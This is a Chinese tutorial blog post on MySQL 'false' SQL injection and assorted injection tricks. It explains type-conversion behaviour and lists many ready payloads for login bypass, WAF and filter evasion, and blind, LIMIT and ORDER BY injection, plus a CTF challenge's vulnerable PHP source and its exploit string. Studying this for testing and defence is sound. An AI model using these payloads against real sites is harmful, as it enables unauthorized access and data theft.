False注入,以及SQL注入技巧总结
利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。
原文首发在安全客,文章地址:http://bobao.360.cn/learning/detail/3804.html
有点可惜小编排版有些不是很完美。
0x01 False Injection
0 :引子
首先我们常见的注入
1=1
0<1
''=''
这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。
首先抛出这么一个问题
为什么username=0会导致返回数据呢?
这就是一个基于false注入的例子,下面在举一个例子
和上面是同一个表,但是为什么这里只返回了两组数据呢?
说到这里不得不说一说有关于MYSQL的隐式类型转换。
1:MYSQL隐式类型转换
关于官方文档中是这么说的
The following rules describe how conversion occurs for comparison operations:
- If one or both arguments are
NULL
, the result of the comparison isNULL
, except for theNULL
-safe<=>
equality comparison operator. ForNULL <=> NULL
, the result is true. No conversion is needed. - If both arguments in a comparison operation are strings, they are compared as strings.
- If both arguments are integers, they are compared as integers.
- Hexadecimal values are treated as binary strings if not compared to a number.
- If one of the arguments is a
TIMESTAMP
orDATETIME
column and the other argument is a constant, the constant is converted to a timestamp before the comparison is performed. This is done to be more ODBC-friendly. Note that this is not done for the arguments toIN()
! To be safe, always use complete datetime, date, or time strings when doing comparisons. For example, to achieve best results when usingBETWEEN
with date or time values, useCAST()
to explicitly convert the values to the desired data type. - If one of the arguments is a decimal value, comparison depends on the other argument. The arguments are compared as decimal values if the other argument is a decimal or integer value, or as floating-point values if the other argument is a floating-point value.
- In all other cases, the arguments are compared as floating-point (real) numbers.
其中大致是:
- 如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换
- 两个参数都是字符串,按照字符串比较。不做类型转换
- 两个参数都是整数,按照整数比较。不做类型转换
- 如果不与数字进行比较,则将十六进制值视为二进制字符串。
- 有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳
- 有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
- 所有其他情况下,两个参数都会被转换为浮点数再进行比较
最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败
在这里我试了试如果是字符串和数字比较
:
可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。
2、原理
mysql在变量比较的时候进行类型转换,我们就是利用字符转换的结果为false来进行利用:
其中同时0又是等于false的
这里查看一下warning
发现正如官方文档所述,会转换为double,同时并不能转换所产生的warning
现在可以很好理解之前为什么username=0会导致返回数据。
因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回false使得false=0从而为true得到结果。
细心一点可以发现开篇的例子第二组passwd查询少一组数据。
关于这一点我做了一下测试
mysql> select 'a' = 0;
+---------+
| 'a' = 0 |
+---------+
| 1 |
+---------+
1 row in set, 1 warning (0.00 sec)
mysql> select '1a' = 1;
+----------+
| '1a' = 1 |
+----------+
| 1 |
+----------+
1 row in set, 1 warning (0.00 sec)
mysql> select '1a1b' = 1;
+------------+
| '1a1b' = 1 |
+------------+
| 1 |
+------------+
1 row in set, 1 warning (0.00 sec)
mysql> select '1a2b3' = 1;
+-------------+
| '1a2b3' = 1 |
+-------------+
| 1 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 'a1b2c3' = 0;
+--------------+
| 'a1b2c3' = 0 |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
可以观察到这里有几个特性
- 如果字符串的第一个字符就是非数字的字符,那么转换为数字就是0
- 如果字符串以数字开头
- 如果字符串中都是数字,那么转换为数字就是整个字符串对应的数字
- 如果字符串中存在非数字,那么转换为的数字就是开头的那些数字对应的值
3、利用
实际中我们接触到的语句都是带有引号的,类似于where username='+input+'
这样的,这时候我们就需要做一些处理来构造false注入的利用点。
3.1、算术运算
加:+
'+',
拼接的语句:where username=''+''
减:-
'-'
拼接的语句:where username=''-''
乘:*
'*'
拼接的语句:where username=''*''
除:/
'/6#
拼接的语句:where username=''/6#
取余:%
'%1#
拼接的语句:where username=''%1#
3.2、 位操作运算
我们可以使用当字符串和数字运算的时候类型转换的问题进行利用
我们可以用的位运算符有:
和运算:&
'&0#
拼接的语句:where username=''&0#'
或运算:|
'|0#
拼接的语句:where username=''|0#'
异或运算:^
'^0#
拼接的语句:where username=''^0#'
移位操作:
'<<0#
'>>0#
位非(~):这里位非运算符由于是在表达式之前的
3.3、 比较运算符
安全等于:<=>
'=0<=>1#
拼接的语句:where username=''=0<=>1#'
不等于<>(!=)
'=0<>0#
拼接的语句:where username=''=0<>0#'
大小于>或<
'>-1#
拼接的语句:where username=''>-1#
3.4、 其他
'+1 is not null#
'in(-1,1)#
'not in(1,0)#
'like 1#
'REGEXP 1#
'BETWEEN 1 AND 1#
'div 1#
'xor 1#
'=round(0,1)='1
'<>ifnull(1,2)='1
4、综合利用
有时候如果我们的注入点不能有数字出现,比如过滤了数字,那我们该如何利用?
这里就可以利用一些内置的函数或运算来构造
mysql> select 'aaa'=''-'';
+-------------+
| 'aaa'=''-'' |
+-------------+
| 1 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 'aaa'=~~'';
+------------+
| 'aaa'=~~'' |
+------------+
| 1 |
+------------+
1 row in set, 2 warnings (0.00 sec)
mysql> select 'aaa'=mod(pi(),pi());
+----------------------+
| 'aaa'=mod(pi(),pi()) |
+----------------------+
| 1 |
+----------------------+
1 row in set, 1 warning (0.00 sec)
false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。
比较多的是在登录验证的时候影响比较大,或者是在where进行限定的时候产生一些比较不可预期的错误,譬如删除数据的时候如果代码过滤不严,这里利用严重的可以删除整个表。
当然这里可以通过配合其他的姿势来进行利用
这里举例一道题
<?php
include("config.php");
$conn ->query("set names utf8");
function randStr($lenth=32){
$strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
$str = "";
while($lenth>0){
$str.=substr($strBase,rand(0,strlen($strBase)-1),1);
$lenth --;
}
return $str;
}
if($install){
$sql = "create table `user` (
`id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,
`username` varchar(30) NOT NULL,
`passwd` varchar(32) NOT NULL,
`role` varchar(30) NOT NULL
)ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
if($conn->query($sql)){
$sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
$conn -> query($sql);
}
}
function filter($str){
$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
if(preg_match($filter,$str)){
die("you can't input this illegal char!");
}
return $str;
}
function show($username){
global $conn;
$sql = "select role from `user` where username ='".$username."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
echo "$username is ".$res->fetch_assoc()['role'];
}else{
die("Don't have this user!");
}
}
function login($username,$passwd){
global $conn;
global $flag;
$username = trim(strtolower($username));
$passwd = trim(strtolower($passwd));
if($username == 'admin'){
die("you can't login this as admin!");
}
$sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
$res = $conn ->query($sql);
if($res->num_rows>0){
if($res->fetch_assoc()['role'] === 'admin') exit($flag);
}else{
echo "sorry,username or passwd error!";
}
}
function source(){
highlight_file(__FILE__);
}
$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";
$action = isset($_GET['action'])?filter($_GET['action']):"source";
switch($action){
case "source": source(); break ;
case "login" : login($username,$passwd);break;
case "show" : show($username);break;
}
我们注意到filter()函数$filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
这里看起来过滤的比较多,其中and,or还有&,|都被过滤了,这个时候就可以利用false进行盲注。
可以在show函数利用查询的时候注入,
username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"
这里官方给出的就是利用异或,其实这里并不需要’admin‘只要是一串字符串就可以
异或会使字符串都转为浮点数,都变为了0,由于0=0^0 -> 1^0 -> 1
当然对于这个题并不一定利用这个,直接截取字符串作比较就可以,但是这里只是提供一种姿势,由于mysql的灵活,其花样也比较多
还有就是构造的payload比较简短,例如'+'、'^'、'/4#
这样只有三个字符便可以绕过登录,简单粗暴,还有就是类似的文章不多,许多开发人员容易忽视这些细节。
4.1、结合盲注
这里false注入如果是在一些非验证的地方利用的地方基本是需要盲注,姿势比较多
0x02、一些注入的技巧
通常注入利用的姿势不是靠一个点就可以突破的,往往需要结合许多姿势技巧
mysql的注入过程中,我们用得到的一些:
常量:true, false, null, \N, current_timestamp
变量:@myvar:=1
系统变量:@@version, @@datadir....
常用函数:version(), pi(), pow(), char(), substring()
字符串生成:hex(), conv()
有关于字符串生成的一些基础字符(其余的字符可以由此扩展):
true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6
1、过滤的绕过:
过滤空格:%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以利用括号或者注释
过滤and,or:||,&&
union select:
利用括号,'and(true)like(false)union(select(pass)from(users)),
方括号union [all|distinct] select pass from users#,
union%a0select pass from users,
或者内联注释union/*&sort=*/select pass from users#
union:子查询进行盲注and length((select pass from users having substr(pass,1,1)='a'))
having:and(select substr(group_concat(pass),1,1)from users)='a
select ... from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i):
select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)
and,&,or,|:
这里就是可以利用上文中提到的false注入的方式进行绕过
可以通过字符串比较引入查询
譬如'=1=(select .....)
过滤逗号:' and substr(data from 1 for 1) = 'a'#
2、技巧:
下面说几种不同情境的注入技巧
2.1、like
有时候我们可以利用一些逻辑语句进行注入例如在最近的0ctf上的Temmo’s Tiny Shop这个题中,我们在搜索的时候推测出语句是在like后的,就可以通过left来进行like盲注
if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)
2.2、Limt
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO是需要写的权限。
利用PROCEDURE 有两种方式,基于报错和时间的,具体文章见这里Mysql下Limit注入方法
基于报错:
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
基于时间:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
2.3、order by
order by 后的数字可以作为一个注入点。具体可以看这个文章MySQL Order By 注入总结
这里可以用一些判断和返回值进行利用,
/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序
还可以用rand函数
/?order=rand(1=1)
/?order=rand(1=2)
通常这里我们是不知道列名的,那可以通过报错进行利用
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
利用regexp
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
利用updatexml
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误
利用extractvalue
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误
利用sleep()也可以....
方法比较灵活
3、有关函数
3.1 不常用函数绕过滤
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))
3.2 搜索匹配类的函数
'-if(locate('f',data),1,0)#
'-if(locate('fo',data),1,0)#
'-if(locate('foo',data),1,0)#
instr(), position()
3.3、一些数学函数
1、format(x,y) 函数,功能是将一个数字x,保留y位小数,并且整数部分用逗号分隔千分位,小数部分四舍五入。
2、abs(); 求一个数的绝对值;absolute
3、sqrt();求一个数的平方根。sqrt是sqruar(平方,矩形) ,root(根)的缩写。
4、mod(x,y) x除数,y被除数。结束是余数。
5、ceil() 进一取整。floor()舍一取整
这两个函数是镜子函数,比较有点意思。这两个函数并不进行四舍五入,比较强硬。
6、rand() 顾名思义,是用来生成随机数用的。种子不变数值不变。
7、format 会自动进行千分位,下面我们来看看round函数,进行四舍五入。
8、truncate(x,y) 比较霸道,不管四舍五入,直接把x,的y位小数直接干掉。
9、sign() 返回当前结果得符号,如果是负数返回-1,如果是0 返回0 如果是正数,返回1.
10、power() 幂运算
11.SIN(X)、ASIN(X)、COS(X)、ACOS(X)、TAN(X)、ATAN(X)、COT(X) 三角函数
12.RADIANS(X) 和 DEGREES(X): 角度与弧度转换函数
13. LOG(X)和LOG10(X): 对数运算函数
14. POW(X,Y), POWER(X,Y)和EXP(X)
3.4、使用函数进行字符串的切割
length(trim(leading 'a' FROM data)) # length will be shorter
length(replace(data, 'a', '')) # length will be shorter
4 关于php中md5的一个有意思的小技巧
PHP中这么一段sql语句
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
这里是可以注入绕过的,在php关于MD5函数的介绍说
如果可选的 raw_output
被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了,就可以产生注入,原文作者找到这么一串字符串ffifdyop
,md5加密后对应字符编码刚好是'or'<trash>
,便产生注入
这里的原文在这
END
false注入也许在某些时候会利用,但是对其中并不是很了解,所以在这里进行了一下系统地总结。
同时往往在利用的时候往往不只是一个点,要结合许多姿势。文章后半部分就是总结了一些注入小姿势,并不是很系统有些散,如果有错误欢迎大佬指出。
参考:
https://www.exploit-db.com/papers/18263/
https://www.secpulse.com/archives/57197.html
http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html